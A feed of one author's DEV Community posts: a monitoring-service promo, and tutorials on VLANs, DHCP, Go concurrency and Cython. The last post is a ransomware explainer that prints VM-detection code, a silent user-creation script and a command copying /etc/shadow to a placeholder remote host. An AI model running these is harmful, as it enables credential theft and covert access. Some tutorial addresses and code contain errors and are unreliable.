DEV Community: Alisson

I launched my own service monitor (with a focus on simplicity and agility)

Alisson — Thu, 24 Apr 2025 20:15:49 +0000

The beginning

Over the past few months, I’ve realized that one of the things that bothers me most as a dev is not knowing when one of my services goes down.
It might sound silly, but it’s frustrating to find out hours later — or worse, from someone else.

I’ve tried a few well-known monitoring tools, and while they do work, I always felt like they were doing way too much for something that should be simple:
"Is the service up or not?"

That’s when I decided to build something of my own. Nothing too ambitious at first — I just wanted a minimal solution that could notify me quickly, without huge dashboards or 50 different settings.

And that’s how ServiceIsUp was born.
It started as a small side project out of necessity, but ended up growing more than I expected.
In this post, I just want to share how it started, what it does today, and maybe hear what you would’ve done differently if it were your project.

A little after the beginning

The very first version of ServiceIsUp was literally just a script running on a cron job that pinged a few URLs and sent me a message on Telegram if something failed. Rough and functional.

Like this

class Controller:
    def __init__(self, location):
        # query batch size
        self.query_limit = 500
        # list size of messages to send to broker
        self.messages_list_size = 100


        self.location = location
        self.cache_lock_key = f'query_lock_controller_{self.location.name}'
        self.cache_lock_timeout = 60
        self.lock_time = timezone.now()

    def send_messages(self, messages):
        try:
            broker_conn = Broker(
                broker_host=env.broker_host,
                broker_port=env.broker_port, 
                broker_user=env.broker_user,
                broker_pass=env.broker_pass
            )
        except Exception as e:
            raise Exception(f"Error to init broker connection: {e}")

        broker_conn.connect()
        for message in messages:
            message_json = json.dumps(message['message'])
            broker_conn.set_queue(message['queue'])
            broker_conn.send_message(message_json)
        broker_conn.close()

But as I kept using it, I realized there was room to make it look nicer. Simple things, like:

Setting up multiple services easily.

Seeing the check history.

Having a minimal interface (just the essentials).

Choosing where I want to get alerts (email, Telegram, WhatsApp...).

And that’s when the fun began—turning my little project into something usable by other people, not just me.
I created a basic dashboard, set up a simple API, added an authentication system... and without even realizing it, I ended up with a mini SaaS 😅

Today, the main flow it basically this:

You register a site or endpoint (HTTP/HTTPS).
Set how often you want to check (e.g., every minute).
Choose how you want to be notified (email, Telegram, etc.).
Choose the status you expect to be returned(e.g., 201, 307, 404...)

and there you go

Nothing revolutionary, I know—but for anyone who just wants to know if the service is up or down, it works. And fast.

Oh, and the best part: since I built it, I know exactly where to tweak things if something breaks (which, in the world of external tools, isn’t always that simple).

But wait a minute, you're probably wondering "Why would anyone use this when they have Prometheus, Grafana and Zabbix free to use?"

Well, that's a fair question! Those tools are awesome — they're powerful, highly customizable, and great for complex setups. But here's the thing: sometimes, you just don’t need all that firepower. Sometimes, all you need is a simple solution to check if your service is up and running, without diving into detailed metrics or setting up a whole infrastructure.

Imagine this: You want to know if your website or API is online, and you'd like an alert if something goes wrong. You don't need dashboards with CPU usage, memory stats, or latency graphs. You just want to know, ‘Is it working? Yes or no?’ That’s where my system comes in. It’s straightforward, no fluff, and it doesn’t come with the complexity of setting up and maintaining an entire monitoring ecosystem with tons of GB of data. It’s like choosing a Swiss Army knife over a cannon. Both can do the job, but you’re not going to use a cannon to hit a target 10 feet away, right? Since ServiceIsUP is 100% cloud-based, you don't have to worry about RAM, storage, threads, race conditions, you can focus only in your business.

*hint: *If you're dealing with complex, large-scale systems, sure, Prometheus, Grafana, and Zabbix are fantastic.

For example, instead of setting up a new server for observability with Prometheus, Grafana and HAproxy, dealing with storage, compressing query backups and sending them to S3 or another equivalent storage service, this user simply registered his 12 URLs in a few minutes without writing a single line of code and is now ready to view response time and uptime metrics, receive alerts from various channels with personalized messages when a service fluctuates, has a higher than normal response time or goes down.

Of course, other solutions are extreme scalable, but this scalability requires considerable effort to set up and maintain. ServiceIsUp provides the scalability you need to add new services, users and alerts as you grow, but without the need to manage clusters or load balancing. You can easily add and monitor new endpoints or services without significant effort.

The user have the freedom to create as many alerts as he want, including any message, whether it be an instruction message or delegating who or which team will deal with the situation. Use your creativity within the context you are in.

You can also choose who you receive that alert.

Conclusion

So, whether you're managing a small personal project or just want a straightforward solution to keep an eye on your services, ServiceIsUp is designed to save you time and effort without the need for complex setups. If you don’t want to deal with the overhead of configuring large monitoring systems, and just need quick, reliable alerts — this is the tool for you.

If you're tired of getting lost in dashboards and configurations, or if you just want to make sure your service stays up without all the fuss, give ServiceIsUp a try. It’s simple, efficient, and built to help you focus on what really matters: your business.

Ready to get started? Head over to start. Set up your first alert in minutes — no server setup, no hassle.

You can also use the coupon code DEVTO to get $12 off your first 3 months, with access to all features.

Understanding network virtualization and how it helps in day-to-day infrastructure.

Alisson — Fri, 26 Jul 2024 21:47:10 +0000

Introduction

Hi everyone, hope everyone is okay, before we dive into what a VLANs is, we need to understand what a LAN is. A Local Area Network (LAN) is simply a local network of devices, usually implemented in home or business settings, and is characterized by its simplicity compared to other types of networks. A standout feature of a LAN is the presence of a single broadcast domain, meaning a packet is delivered to all elements in the network.

When a switch operates in its default mode, it unifies all its network interfaces into the same broadcast domain. So, if we wanted two separate broadcast domains, we would need two switches, one for each domain. Additionally, if we wanted these two domains to communicate with each other, we would need a router.

In a local network that needs to be segmented into different parts, like a home network with separate domains for parents and children, or a small business network divided by departments such as HR, Sales, and Finance, using multiple network devices—such as one switch for each domain—would not only increase infrastructure costs but also complicate maintenance. This is where VLANs come into play. VLANs offer a way to segment the network efficiently, both technically and financially.

VLAN

When we implement a VLAN, we can virtualize smaller networks into subnets that share the same switch. This way, the networks remain isolated from each other, gaining the benefits of separate networks while reducing implementation costs since these VLANs use the same networking equipment.

Benefits of virtualization:

Reduced Processing: With fewer devices on the network, broadcast transmissions become less frequent, which means fewer unnecessary frames are received.
Security: By reducing the frequency of broadcast packets, the likelihood of information leaks is also minimized.

hint: It's important to note that you can implement firewalls between VLANs, which significantly mitigates unwanted access.

When we want to virtualize multiple networks on a single switch, we just need to configure each port to its respective VLAN. This way, logical addressing for packets is applied, and the network is segmented accordingly.

Trunking

For VLANs that span multiple switches, the process is a bit different, and understanding trunking is essential.

In some cases, to ensure connection redundancy, we need to connect two switches to each other. This helps mitigate the risk of data loss during network communication.

Although usable, this model isn't very efficient because it essentially returns to a 1:1 relationship between VLANs and ports. For example, if you created 20 VLANs, you'd need 20 ports on each switch to handle the connections.

To reduce complexity and data processing costs in such a network, a technique called Trunking is used.

Trunking allows two or more switches to send frames for multiple VLANs between each other through a single cable. This is possible because the switch adds a small piece of information to the frame's header to indicate the VLAN to which the frame belongs. This process is known as tagging.

Through tagging, the frame's header includes information such as:

hint: 802.1Q standard.

This frame, as shown in the figure, has 4 bytes distributed as follows:

TPID (Tag Protocol Identifier): 2 bytes
Tag Protocol Identifier with 16 bits. Its main function is to indicate that the frame it is inserted into is tagged and requires special handling.
TCI (Tag Control Information): 2 bytes, also 16 bits, but divided into three parts:

PCP (Priority Code Point): This field has 3 bits and maps the priority of the frame. Depending on the priority, it requires different handling at the data link layer.
DEI (Drop Eligible Indicator): This field has 1 bit and indicates whether the frame can be dropped in case of congestion or not. It can be combined with the PCP information to produce different effects, but it is generally interpreted on its own.
VID (VLAN Identifier): This field has 12 bits and specifies which VLAN the frame belongs to. An important detail about this field is that its values are binary but represented in decimal form between 0 and 4095. When the VID value is 0, it means that there is no VLAN ID, and only the priority is specified using the previous fields.

"Why does this happen?"

Some networks may have switches that do not support trunking. In such cases, a special VLAN called the Native VLAN is designated. This VLAN serves as a fallback when a network device receives a tagged frame but cannot interpret it. In this situation, the frame is forwarded to the Native VLAN as a regular frame, and the Native VLAN will decide what to do with it.

Packet Forwarding Between VLANs

When we split a network into two virtualized networks, the switch is logically divided into two, meaning that frames from VLAN1 are not naturally forwarded to VLAN2 and vice versa.

But what if we need to send a packet from VLAN1 to VLAN2?

In addition to trunking, we can use packet routing. By implementing a router in our network, we offload the workload, with the switch handling Layer 2 (Data Link) and the router handling Layer 3 (Network). This introduces the use of TCP/IP in the network, as we now have routing between different networks.

hint: Different VLANs should use different subnets.

Common Errors:

If a network administrator creates two VLANs with the same subnet, as shown in the figure below:

When a host sends a packet to a host in another VLAN, for example, Host A to Host C, Host A marks the packet to be sent through VLAN1, assuming the destination machine is in the same IP range. The switch then thinks, "I received an ARP request from VLAN1, so I should only propagate this packet within VLAN1." Since the destination machine is not in this VLAN, Host A will never be able to communicate with Host C.

If the administrator separates the VLANs into two different IP networks, as shown in the figure below:

hint: vlans should not be configured with networks of different classes, this is bad practice, the examples provided are for illustrative purposes only.

Host A realizes that the destination is not within its own network because it has a different IP range. Therefore, the packet is not sent via broadcast but instead forwarded to the network gateway. The switch then knows to send the packet to another VLAN via trunking or to the router. This way, Host A can communicate with Host C easily, avoiding unnecessary traffic on the broadcast channel.

Conclusion

Thanks everyone for reading, keep in mind that getting a grip on VLANs and how they work can really boost your network’s efficiency and security. By using trunking, you can manage multiple VLANs over a single link without any hassle. And when you need to get traffic between VLANs, routing and gateways have got you covered, keeping that broadcast traffic in check and your network running smoothly.

Got more questions or need some extra info on VLANs, trunking, or routing? Just drop a comment!

How the DHCP protocol works, from theory to practice.

Alisson — Mon, 11 Mar 2024 04:19:13 +0000

Understanding the DHCP protocol

Good morning, good afternoon, and good evening, everyone. First of all, I would like to apologize for my absence over the last two months. I had several important work commitments, but I'm back now with content of utmost importance for deepening our understanding of computer networks. Today, we'll be discussing the DHCP protocol, as we always do: theory first, followed by PRACTICE!!.

Contrary to what some people may think, the DHCP protocol is not only responsible for intelligently distributing IP addresses; it is also responsible for various configurations such as network mask, sub-net mask, and so on.

Next, we will proceed to a laboratory session using Cisco Packet Tracer to configure a DHCP server and gain a deep understanding of how this protocol operates.

Creating our network.

Initially, we will add four standard computers, a network switch, and a server that will serve as the host for our DHCP server.

Hint:To recap, the switch is the device responsible for acting as a bridge between data flows, where it receives data in a centralized manner and forwards it to the next destination. Within the OSI model, the switch operates at the Data Link layer (the layer responsible for facilitating local communication, organizing data into small encapsulated groups, which are then directed to the next layer).

We will now check the IP settings of our machine 'PC-PT-PC0'. To do this, simply:

Double click on the "PC-PT-PC0"
Select the option "Ip Configuration"
Select the option "Desktop"

When selecting the "DHCP" option, our machine will search the network for a DHCP server that will provide its network configurations. Since our server does not yet exist, the machine will obtain a private IP address, indicated by the beginning of the address "168...", and the message "DHCP failed, APIPA is being used" will be displayed.

APIPA stands for 'Automatic Private IP Addressing' and indicates that an IP address within the CIDR range 169.254.0.0/16 has been assigned to that machine. This addressing allows the host in question to communicate only locally with other machines, as per internet regulatory standards, as a private IP address cannot be routed to the global network.

Hint:When your internet is failing and you want to check if there is an error in your router, in general you can check your IP address, if your address is private, your router probably has a problem and your operator needs to be contacted.

Configuring our server.

To begin our DHCP configuration, we can access our 'server' element with a double-click and arbitrarily assign a valid IP address to it. For instance, I'll use the 192.168.0.0/24 range, but you can use any range you prefer.

Following the same path desktop -> Ip configuration, we will see the screen below.

We will add our IP address (192.168.0.1), and our sub-net mask will be automatically included.

Next, we will go to the Services tab, where we will name our server and configure some additional parameters.

Our default gateway and DNS server will be the server itself, meaning they should have the same IP address as the server.

Attention is required for these two fields:

Start IP Address and Maximum Number of Users.

First, let's review the calculation of the number of possible IP addresses in our selected CIDR.

Our network has the sub-net mask '/24'. This calculation is done using the following equation:

N = 2^(32-CIDR) - 2.

Since our network has a /24 range, we'll have:

N = 2^(32-24) - 2
N = 2^8 - 2
N = 256 - 2
N = 254

Therefore, the possible IP addresses in this network range are.

192.198.0.1
192.198.0.2
192.198.0.3
...
192.198.0.254.

With this, we will know that this server with these settings can configure up to 253 machines.

"But why 253 if there are 254 available addresses?"

We cannot forget that the server itself consumes one of the available addresses, leaving 253 other addresses for other hosts.

Therefore, our initial address will be '192.168.0.2' and our maximum number of users is: 253.

Then simply activate the server by selecting the 'On' option.

Point of attention:

In this network range, there are two other reserved IP addresses, they are:

192.168.0.0 which represents the IP address of the network itself

192.168.0.255 which is the reserved address in case the network needs to communicate with another network, in other words, the broadcast IP address.

With these settings done, we can access our 'PC-PT-PC0' machine again and verify our IP address.

Checking PCO configurations.

With this, just access the other machines and activate the 'DHCP' option in the same way it was activated on the first machine, and the other hosts will automatically receive their IP address, sub-net mask, sub network mask, and other configuration parameters.

"But shahahaco, how could I set up a real DHCP server?"

Creating our own DHCP server.

I will assume that you have a virtualizer on your machine, such as Proxmox, VirtualBox, Vmware, Nutanix, or any other.

We will perform a real configuration on an Ubuntu Server virtualized by VirtualBox.

To start, we will install the package responsible for the protocol.

sudo apt upgrade
sudo apt install isc-dhcp-server

My network interfaces.

After the installation, we will define which network interface to use.

We will check our interfaces using the command "ifconfig".

Hint: If this package is not present on your machine, execute the command sudo apt-get install net-tools.

As you can see below, my Ubuntu Server has two network interfaces:

lo: Loopback, it is a virtual network interface for internal server operations. It enables processes to communicate with each other within the virtual environment.
enp0s3: It is a network interface associated with VirtualBox, meaning it is through this interface that the virtual machine can access the internet provided by the host machine. This strange name comes from a convention that created a nomenclature for network interfaces called Predictable Network Interface Names, where:

en: Represents an Ethernet interface.
p0: Represents the position of the server in the network bus topology or PCI (Peripheral Component Interconnect).
s3: Irrelevant in this context.

Starting to configure our server.

As you may have already noticed, we will use the interface enp0s3 for our DHCP server.

To do this, we will navigate to our configuration file.

vim /etc/default/isc-dhcp-server

Hint: If you don't have Vim installed, you can use any other text editor such as Vi, Nano, Xed...

With this, we will delete the variables 'INTERFACESv4' and 'INTERFACESv6' as we do not want to manipulate any specific IPv4 or IPv6 protocol, and we will only add our previously listed interface.

Hint: To install Vim, simply execute sudo apt-get install vim. After opening the file, press the 'i' key to enter interactive mode, and after making the necessary changes, press the 'esc' key, followed by :wq! to close the document while saving the changes. Afterward, you can execute cat /etc/default/isc-dhcp-server to verify the changes in the document.

For better understanding, we will create our DHCP configuration file from scratch. To do this, we will navigate to the directory '/etc/dhcp' and remove the default configuration file and create a new one using the command rm dhcpd.conf && vim dhcpd.conf.

Notice that the configuration parameters are the same as those used in Packet Trace, for example:

Network IP: 192.168.0.0 Server IP: 192.168.0.1 Network Range: 192.168.0.1 - 192.168.0.245 DNS: 192.168.0.1 + Google DNS

We didn't cover the other parameters in Packet Trace, but we have the indicated log level, the hierarchical level on our server, where 'authoritative' designates it as the ultimate authority, and the allowed request times.

It is a fundamental characteristic of the protocol in question to rotate IP addresses among connected hosts. However, in some cases, it is possible to assign a fixed IP address to a host that will not be rotated. To configure it this way, simply follow the syntax.

host hostname {
    hardware mac address
    fixed-address desired ip
}

According to the figure below,

With this, our DHCP server has been configured, and you simply need to restart our service with the command:

systemctl restart isc-dhcp-server

to apply our changes.

Configuration requests from machines connected to the network can be checked in the 'syslog' file accessed at /var/log/syslog.

Conclusion.

We have practically and thoroughly discussed the configuration of a DHCP server in a virtualized environment, using Ubuntu Server and VirtualBox as examples. We have explored the fundamental concepts of the DHCP protocol, from identifying network interfaces to configuring essential parameters such as IP addresses, network ranges, and DNS servers. Additionally, we have emphasized the importance of DHCP in efficiently managing IP addresses in local networks, simplifying the process of automatically assigning network configurations to connected devices. Hope this guide has been helpful in understanding and implementing DHCP in your own network environments. Keep exploring and experimenting to enhance your network administration skills!

Concurrency in golang with goroutines, threads and process.

Alisson — Sat, 30 Dec 2023 18:28:00 +0000

Hi guys, hope that everyone is fine, today we will talk about concurrency in Golang, we will see how the language deal with this type of process, with the goroutines, what the difference between threads and goroutines and more.

First we need to look back and review the concepts of process and threads to understand what is a goroutine. So let's go end the cheap chat and start this.

Process

A process is any instance of a computer program's execution. It is within the process that resources are allocated and managed by the operating system. Imagine that you open a program like Vscode, this program will consume memory resources and CPU time, will receive a process identifier (PID), and will be executed on your machine. To see some process in your machine, just type this command htop in your terminal.

Thread

A thread can be conceptualized as a sequence of small, executable steps within a process, allowing us to examine the process in finer detail. Unlike processes, which typically do not share resources with others unless specific mechanisms like sockets, IPC (Inter-Process Communication), or pipes are employed, threads within the same process inherently share resources. Each thread has its own thread of execution, but they collectively utilize the same memory and resources allocated to their parent process. This architecture facilitates efficient resource management and execution performance, as threads operate under a shared environment without compromising the organization and efficiency of the overall process.

Why process don't share resources and threads do?

Among the various reasons for not deliberately sharing resources between processes naturally, the most common and frequently encountered in the past was the writing of data from one process into the memory of another, leading to the loss of information. Imagine you are working in your favorite IDE, creating an endpoint in C, and you pause to respond to an email. When you save and send that email, the email client process writes data into the memory space allocated for your IDE, and your endpoint turns into an email message confirming a meeting, or even worse, causes a memory overflow resulting in a Buffer Overflow in the process. This can lead to the process being unexpectedly terminated.

Concurrency

Concurrency is the ability of a computer to execute multiple processes simultaneously, but not at the exact same moment. When using various processes of a computer, it's common to get the impression that it is executing everything like movies, audio, images, or texts all at the same time, but this is not what actually happens. To handle multiple processes, most machines use some form of concurrency technique, which involves interleaving execution. In this way, a computer deals with a queue composed of fragments from various different processes.

Goroutines: How Go Handles Concurrency

Initially, a goroutine is similar in concept to a thread, meaning it's a segment of a process that is being executed. However, goroutines stand out due to some key characteristics.

Small initial size: 2Kb-4Kb, unlike a thread which typically starts with 2Mb.
Dynamic size variation: when a goroutine exceeds its initial size, its data is allocated to another, larger goroutine.
Segmented memory allocation: In cases where a goroutine requires significantly more space than usual, the runtime can allocate sections of these goroutines into other, discontinuous empty memory spaces. This ensures rapid memory allocation and avoids overloading the system

Hint: Runtime refers to some grouped functionalities that manage functions such as garbage collector, goroutines scheduler, panic error handling and other low-level system functions.

Creating a goroutine

Let's start by creating our file main.go and create a function named printMessage, which takes an argument and prints it. We will call this function inside the main function with the 'go' keyword preceding it and pass the element of an iteration as an argument. The go keyword indicates that the function will be executed asynchronously, meaning a goroutine will be created for it, and the function will run in the background. By using the command 'go run main.go', we can see the result in the terminal below.

package main

import (
    "fmt"
    "strconv"
)

func main(){
    for i :=0; i<50; i++{
        go printMessage(strconv.Itoa(i));
    }
}

func printMessage(i string){
    fmt.Println(i)
}

So nothing new so far, but when we add a normal print below the printMessage function and changes the numbers of iterations to 10, we will have another result when running the program again.

As we can see, only the print statement outside of the printMessage function was called. This happens because when the task is sent to the background, the rest of the code in the main function continues to execute synchronously. This means that the regular print statements are executed quickly. Once the execution of the synchronous prints is complete, the main function ends, and any processes that were running in the background are also terminated, even if they are still in a queue waiting for execution.

As we have seen, it is essential that the runtime waits for the execution of goroutines before terminating the program. To achieve this, we need to signal this necessity. We import the sync module and will use the WaitGroup class. This class allows us to create a kind of management order, in which we can request to wait for the program to terminate while there is any element being executed. To do this, we will perform operations of adding and removing elements.

Initially, we will create a variable in the scope of the main function to hold the WaitGroup class. Then, we will add each element of the iteration to a waiting list. After the element is printed, we will remove this item from our list. When all elements have been printed and the list is empty, our program will terminate. At the end of the main function, we will use the Wait method, which indicates that the runtime should wait for the task list to be completed before terminating the program execution.

Our resulting code would look like this:

package main

import (
    "fmt"
    "strconv"
    "sync"
)


func main() {
    var wg sync.WaitGroup

    for i := 0; i < 10; i++ {
        wg.Add(1)
        go printMessage(strconv.Itoa(i), &wg)
        fmt.Println("Here another number: ", i)
    }

    wg.Wait()
}

func printMessage(i string, wg *sync.WaitGroup) {
    fmt.Println(i)
    defer wg.Done()
}

When executing the code again with our command "run go main.go" we see that all items in the iteration were executed within the printMessage function and in the common println.

When we observe the result, despite the function and println being called, we can see that there is some disorganization in the printouts when it comes to the order of the asynchronous object. This occurs because there is a competition for resource consumption, and a goroutine can be called and finished in the midst of another. To avoid this problem, we use a lock on that memory resource and release it with an unlock when it is finished.

To block and release access to the resource, we will also use the sync package but will use the Mutex class.

Hint: Mutex (Mutual Exclusion) guarantees that only one goroutine can access that resource at a time.

We will use a code similar to our first one, but it will only perform a '+1' addition in each iteration. Before passing the argument, we will lock the memory access so that only the goroutine in question can access that resource. After accessing the resource and performing the sum, we will release the access so that the next goroutines can access it.

package main

import (
    "fmt"
    "sync"
    "time"
)

func main(){
    var mu sync.Mutex
    i :=0
    for x:=0; x<100; x++{
        mu.Lock()
        i = x
        go sumNumber(i)
        mu.Unlock()
    }
    time.Sleep(time.Second*2)
    fmt.Println(i)
}

func sumNumber(i int){
    i++
}

According to the image above, we can see that the result is always the largest object of the iteration, indicating that it occurred in an ordered manner regardless of how many times the main function is called. This ensures that the goroutines occur in a predictable and safe way.

However, there is a downside to using this type of mechanism. For example, just as multi-threaded systems were developed to increase execution speed, goroutines also aim to execute different parts of a code concurrently. By limiting execution to one at a time, the results obtained from the bus of multiple simultaneous threads can sometimes become quite slow.

There are other factors that directly affect the performance of a process:

Each Lock/Unlock operation requires communication from the CPU with the machine's OS.
Risk of one or more threads being idle, waiting for the execution of another indefinitely (DEADLOCKS).
Managing the access of threads and goroutines simultaneously for a long time (remember that threads by default share the same resources?)

Therefore, the manual control of goroutines using Mutex must be done with great care where the load at that point in the application should be considered, as well as whether the order of execution really matters more than the speed of execution.

Channels

Although it is possible to manipulate memory access and perform wait calls, there is a simpler way to use data from a goroutine through channels. Channels are tunneling data structures where data from one goroutine can be sent to others. Through this structure we can:

Define the data type of the channel
Use FIFO to ensure data ordering
Have unidirectional (Read or Write) or bidirectional (Read and Write) channels
Perform blocking operations

To create a channel, we will initialize it as empty with the type int using the make command. With that, we will create a function named createList which will receive the channel as an argument and write 10 integer numbers into it obtained through a simple iteration, and then we will close it using the close method.

Hint: If the channel is not closed, there will be a fatal error of deadlock.

With our channel filled, we will use it for reading in a simple iteration within the main function.

package main

import (
    "fmt"
)

func main(){
    channel := make(chan int)
    go createList(channel)

    for x := range(channel){
        fmt.Println(x)
    }
}

func createList(channel chan int){
    for i :=0; i<100; i++{
        channel <-i
    }
    close(channel)
}

After use go run main.go we have this result:

By default, a channel receives one data at a time, that is, a goroutine can send one data at a time to another goroutine, the second one must receive the data before the first goroutine sends another data.

Let's just add a println on line 12 and 19 and we will see the following sequence.

In the previous example we used an unbuffered channel, however we can define "data packets" to be sent at once through the buffering process.

To do that we need only set the size of our channel in the make method like this channel := make(chan int, 2) and running your code again we have the following result.

This way we are able to send data packets of different sizes between our goroutines.

This was a brief tutorial to help us understand a little how goroutines work in Golang and review some essential computing concepts. If you have any questions, feel free to comment below =D.

Tuning your Python applications with Cython

Alisson — Sat, 16 Dec 2023 21:55:42 +0000

Introduction

Python is a high-level interpreted and multi-purpose language created in 1991. The standard and most common version of its implementation was written in the C language and is known as CPython.

Despite being widely used for various purposes, Python, being an interpreted language, has a slower execution speed compared to its compiled counterparts like Rust, Golang, C, and others. However, it is possible to combine the ease of development in Python with the execution speed of its parent language C by using the Cython module.

Cython is an extended version of the Python language that utilizes its static compiler (which compiles only once, generating executable files) to convert Cython code into C. Through this process, the code originally written in Python can be compiled into C, drastically increasing its execution speed.

Hint: There are several implementations of Python, including versions in Java (Jython), C# (IronPython), and Python itself (PyPy).

Why use Cython?

Widely used and mature
Execution speed comparable to C
You can directly call functions written in C or C++
Enables you to create your own libraries such as Numpy or Pandas in an efficient and safe way.

Here we can see the difference between the syntax of a Python code and a Cython code.

Python

import math

def calc(start: int, end: int) -> None:
    p: int = start
    factor: int = 1000*1000

    while p < end:
        p +=1
        math.sqrt((p - factor) * (p - fator))

Cython

import cython
from libc.math cimport sqrt

def calc(start: cython.int, end: cython.int):
    p: cython.int = start
    factor: cython.in = 1000*1000

    while p < end:
        pos +=1
        sqrt((p - factor) * (p - factor))

We can see that the main difference in the code is due to the data typing and the declarations of functions in C. This process enables the compilation of our file.

Implementation

Creating the project

mkdir python_to_cython cd python_to_cython python3 -m venv venv source venv/bin/activate

Installing the module

pip install cython

With this, we can begin our implementation. We will create a function to calculate the factorial of a number. As we know, a standard factorial calculation function has a Big O notation of 'n', so we will be able to see a clear difference in execution time.

Hint: You can use Cython to create compilations of various different files beyond simple functions. This includes API calls in views of Django, Flask, or FastAPI, asynchronous functions, ORM calls like Django-ORM or SQLAlchemy, and more.

example.py

def factorial(n) -> int:
    result = 1
    for i in range(1, n+1):
        result *= i
    return result

After creating our function, we will create a new file with the *.pyx extension that contains our code to be converted to C. In this file, we can use the same code from our example.py file.

example.pyx

def factorial(n) -> int:
    result = 1
    for i in range(1, n+1):
        result *= i
    return result

Next, we will create our setup.py file. In this file, instructions will be defined for importing Python modules, including information on how they should be built and installed. When used in conjunction with Cython, the script in setup.py takes information about the Cython files, which are converted into C files and subsequently transformed into language extensions.

setup.py

from distutils.core import setup
from Cython.Build import cythonize

setup(
    ext_modules = cythonize(['example.pyx'])
)

After executing this file with the command python3 setup.py, some files will be generated, and our structure will look like this:

root
├── build
│ └── temp
│ └── example.so
├── venv
├── example.c
├── example.cython
├── example.py
├── example.pyx
└── setup.py

With this, we will have our executable file compiled in C, and we can proceed to perform a performance test.

We will create a new file called test.py and import both our original function and our compiled function. However, before doing this, we will rename our example.py file to avoid import issues, by using the command:

mv example.py example_python.py

Now we will import both modules into our test file and set up a simple counter to measure the execution time of the functions using the time module.

test.py

import time
import example
import example_python

N = 100000 #200000, 300000, 400000, 500000
start_time = time.time()
perms = example.factorial(N)
end_time = time.time()
print("Execution time:", end_time - start_time, "seconds")


start_time = time.time()
example_python.factorial(N)
end_time = time.time()
print("Execution time:", end_time - start_time, "seconds")

To complete our test, we just need to execute it to see the difference in execution speed between the two functions. For a better visualization, we will run the test five times with different values of N. Below are the results:

Through a simple metric of variance, we can see that the variance of the code executed in Cython (2988.98 seconds²) is notably lower than the variance of the execution in Python (7636.24 seconds²), which directly reflects on the stability of the response times of the calls.

As we can see, we can increase the execution speed of our application by using Cython. This allows us to compile sections of our code originally written in Python, which are bottlenecks in the flow, into Cython, thus optimizing our application in a simple and efficient manner.

Hint: Next time you create your functions, use Cython instead of using them in Python.

You can access the repository of this project by clicking on this link

Click here plzzz

Do not click, it's ransomware!

Alisson — Thu, 14 Dec 2023 04:11:28 +0000

Ransomware is a category of malicious software designed for data 'kidnapping' with the intent of extortion. Throughout history, various ransomwares have been constructed and gained notoriety, both for the magnitude of their impact and the nature of their victims. In this post, we'll explore a high-level step-by-step overview of the ransomware lifecycle.

At first, like many types of malicious code, early prototypes of ransomware trace their origins back to the late 1980s and targeted small volumes of devices. With the evolution of the internet and the shift in malware's purpose from solely destructive to a commercial phase, the levels of techniques used, along with the scale of their infected targets, have grown alarmingly. As of 2023, the average cost of a ransomware attack is approximately $1.85 million. Following this, we will delve into the step-by-step process of a ransomware attack to enhance our understanding and revisit some key security concepts, allowing for better protection.

Sumary

Deployment: The initial stage where the attacker infiltrates the target system.
Installation: The process by which the ransomware establishes persistence on the compromised machine.
Control: Managing the ransomware's activities and maintaining access to the system.
Encryption: Executing the encryption process on the victim's files, rendering them inaccessible.
Extortion: The final stage where the attacker demands a ransom for decrypting the files and restoring access to the victim.

Deployment

The first step in a ransomware attack is the deployment of malicious code on target machines. This deployment can occur in various ways, such as:

Drive-by download: Typically, users unknowingly download ransomware through a Trojan, often via cracked programs or pirated files.
Phishing: Fake emails or SMS containing malicious redirect links.

Let's consider a scenario where you receive an email with the message "A suspicious purchase of $100 has been made on your credit card, click the following link to dispute. fake link". If you execute this code in Golang, you'll see how straightforward it is to create an automatic download based on the user's request.

package main

import (
    "fmt"
    "net/http"
)

func main() {
    //
    http.HandleFunc("/download", func(w http.ResponseWriter, r *http.Request) {
        fileName := "example.txt"

        w.Header().Set("Content-Disposition", fmt.Sprintf("attachment; filename=%s", fileName))
        w.Header().Set("Content-Type", "application/octet-stream")

        fileContent := []byte("File content.")

        w.Write(fileContent)
    })

    fmt.Println("Server http://localhost:8080 on!")
    http.ListenAndServe(":8080", nil)
}

However, as nothing is perfect, it is possible to protect yourself from these forms of infection through known virtualization techniques. You could employ a technique known as edge sandboxing, where the where commonly the browser itself provides a virtual environment for file execution, allowing for the detection of malicious behaviors. However, this method may become limited, as resource consumption is a concern, and malware can easily detect if it is running in a virtual environment by checking the files present in that environment as the code below shows.

#include <stdio.h>
#include <string.h>

int main() {
    FILE *fp;
    char buffer[128];
    int isVirtualMachine = 0;

    if ((fp = fopen("/sys/class/dmi/id/product_name", "r"))) {
        fgets(buffer, sizeof(buffer), fp);
        if (strstr(buffer, "Virtual") != NULL || strstr(buffer, "VMware") != NULL) {
            isVirtualMachine = 1;
        }
        fclose(fp);
    }

    if (isVirtualMachine) {
        printf("Look like a virtual machine.\n");
    } else {
        printf("It doesn't look like a virtual machine.\n");
    }

    return 0;
}

hint: To execute this code just run in your terminal:
gcc -o executable_name file_name.c

To overcome this issue, there is also the technique of bare-metal detonation, where a real physical machine acts as an intermediary between the server and the client, running files and code in isolation before sending them to the end client. This way, malicious encryption actions are easily detected and contained.

Instalation

Once the malicious initial payload has been inserted into the target, it will attempt a series of procedures such as trying to communicate with its creator, checking if it is running on a virtual machine, self-installing, downloading missing parts of code, searching for vulnerabilities, and other actions.

Considering that the target machine is deemed valuable for infection, the ransomware can initiate a series of self-defense and damage assurance processes. These processes may include:

Theft of private keys
Disabling recovery and backup systems
Inserting its keys into the Registry (Windows) to ensure its startup along with the OS bootloader.

The primary defense against this stage involves monitoring the machine. Utilizing inotify alerts on Linux and Windows Defender on Windows, users can observe crucial signs that may indicate compromise. It is also essential to periodically check if backup and recovery systems are generating system snapshots as expected. Measures like these ensure that recovery mechanisms are consistently operational, enabling the restoration of stolen information even in worst-case scenarios where the system compromise is total.

Controll

Although it's not a rule, most malware generally tries to establish communication with its creator, whether through HTTP requests, network sockets, or more complex services like TOR. This kind of practice offers various advantages to the attacker, such as mapping the target, selecting specific files or servers, and even assessing the target's value. Therefore, when a machine is infected, the ransomware doesn't necessarily start its encryption process right away, but it might well remain dormant until it receives some instruction from the attacker.

The remote control process of malware can work in many different ways, but once infected, the target machine needs to be very careful with its next steps. For example, imagine that you downloaded a pirated game or an unofficial library of a programming language. By running any script from the library or the game, you might be starting a script for creating an account and connecting to SSH servers, for example:

#!/bin/bash

# creating a new user
sudo adduser cript << EOF
[password]
[password]
[name]
[number1]
[number2]
[number3]
[others]
Y
EOF

or another script like this:

sudo scp /etc/shadow test@ipaddress-remote:/path/dst/

